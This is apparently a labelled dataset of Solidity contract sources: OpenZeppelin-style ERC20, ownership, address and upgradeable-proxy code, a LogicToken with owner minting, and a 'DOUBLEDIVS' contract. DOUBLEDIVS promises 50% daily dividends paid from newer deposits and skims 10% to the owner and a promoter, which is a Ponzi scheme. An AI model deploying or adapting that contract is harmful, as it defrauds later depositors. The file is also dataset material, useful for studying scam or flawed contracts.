function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// LogicToken
contract LogicToken is ERC20("LogicToken", "LOGIC"), Ownable {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
}
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|
pragma solidity ^0.4.24;
/**
* https://doubledivs.cash/
* _______ ______ __ __ .______ __ _______
* | \ / __ \ | | | | | _ \ | | | ____|
* | .--. | | | | | | | | | |_) | | | | |__
* | | | | | | | | | | | | _ < | | | __|
* | '--' | `--' | | `--' | | |_) | | `----.| |____
* |_______/ \______/ \______/ |______/ |_______||_______|
*
* _______ __ ____ ____ _______.
* | \ | | \ \ / / / |
* | .--. || | \ \/ / | (----`
* | | | || | \ / \ \
* | '--' || | \ / .----) |
* |_______/ |__| \__/ |_______/
*
* DOUBLEDIVS 50% DIVIDENDS. FOREVER.
*
* https://doubledivs.cash/
* https://doubledivs.cash/
*/
contract DOUBLEDIVS{
using SafeMath for uint256;
mapping(address => uint256) investments;
mapping(address => uint256) joined;
mapping(address => uint256) withdrawals;
mapping(address => uint256) referrer;
uint256 public minimum = 10000000000000000;
uint256 public step = 50;
address public ownerWallet;
address public owner;
address public bountyManager;
address promoter = 0x28F0088308CDc140C2D72fBeA0b8e529cAA5Cb40;
event Invest(address investor, uint256 amount);
event Withdraw(address investor, uint256 amount);
event Bounty(address hunter, uint256 amount);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Сonstructor Sets the original roles of the contract
*/
constructor(address _bountyManager) public {
owner = msg.sender;
ownerWallet = msg.sender;
bountyManager = _bountyManager;
}
/**
* @dev Modifiers
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyBountyManager() {
require(msg.sender == bountyManager);
_;
}
/**
* @dev Allows current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
* @param newOwnerWallet The address to transfer ownership to.
*/
function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
ownerWallet = newOwnerWallet;
}
/**
* @dev Investments
*/
function () external payable {
require(msg.value >= minimum);
if (investments[msg.sender] > 0){
if (withdraw()){
withdrawals[msg.sender] = 0;
}
}
investments[msg.sender] = investments[msg.sender].add(msg.value);
joined[msg.sender] = block.timestamp;
ownerWallet.transfer(msg.value.div(100).mul(5));
promoter.transfer(msg.value.div(100).mul(5));
emit Invest(msg.sender, msg.value);
}
/**
* @dev Evaluate current balance
* @param _address Address of investor
*/
function getBalance(address _address) view public returns (uint256) {
uint256 minutesCount = now.sub(joined[_address]).div(1 minutes);
uint256 percent = investments[_address].mul(step).div(100);
uint256 different = percent.mul(minutesCount).div(1440);
uint256 balance = different.sub(withdrawals[_address]);
return balance;
}
/**
* @dev Withdraw dividends from contract
*/
function withdraw() public returns (bool){
require(joined[msg.sender] > 0);
uint256 balance = getBalance(msg.sender);
if (address(this).balance > balance){
if (balance > 0){
withdrawals[msg.sender] = withdrawals[msg.sender].add(balance);
msg.sender.transfer(balance);
emit Withdraw(msg.sender, balance);
}
return true;
} else {
return false;
}
}
/**
* @dev Bounty reward
*/
function bounty() public {
uint256 refBalance = checkReferral(msg.sender);
if(refBalance >= minimum) {
if (address(this).balance > refBalance) {
referrer[msg.sender] = 0;
msg.sender.transfer(refBalance);
emit Bounty(msg.sender, refBalance);
}
}
}
/**
* @dev Gets balance of the sender address.
* @return An uint256 representing the amount owned by the msg.sender.
*/
function checkBalance() public view returns (uint256) {
return getBalance(msg.sender);
}
/**
* @dev Gets withdrawals of the specified address.
* @param _investor The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function checkWithdrawals(address _investor) public view returns (uint256) {
return withdrawals[_investor];
}
/**
* @dev Gets investments of the specified address.
* @param _investor The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function checkInvestments(address _investor) public view returns (uint256) {
return investments[_investor];
}
/**
* @dev Gets referrer balance of the specified address.
* @param _hunter The address of the referrer
* @return An uint256 representing the referral earnings.
*/
function checkReferral(address _hunter) public view returns (uint256) {
return referrer[_hunter];
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | True | [
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|
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.8;
//
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive () payable external {
// _fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
//
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
//
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override virtual {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
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// File: @openzeppelin\contracts\token\ERC20\IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin\contracts\math\SafeMath.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
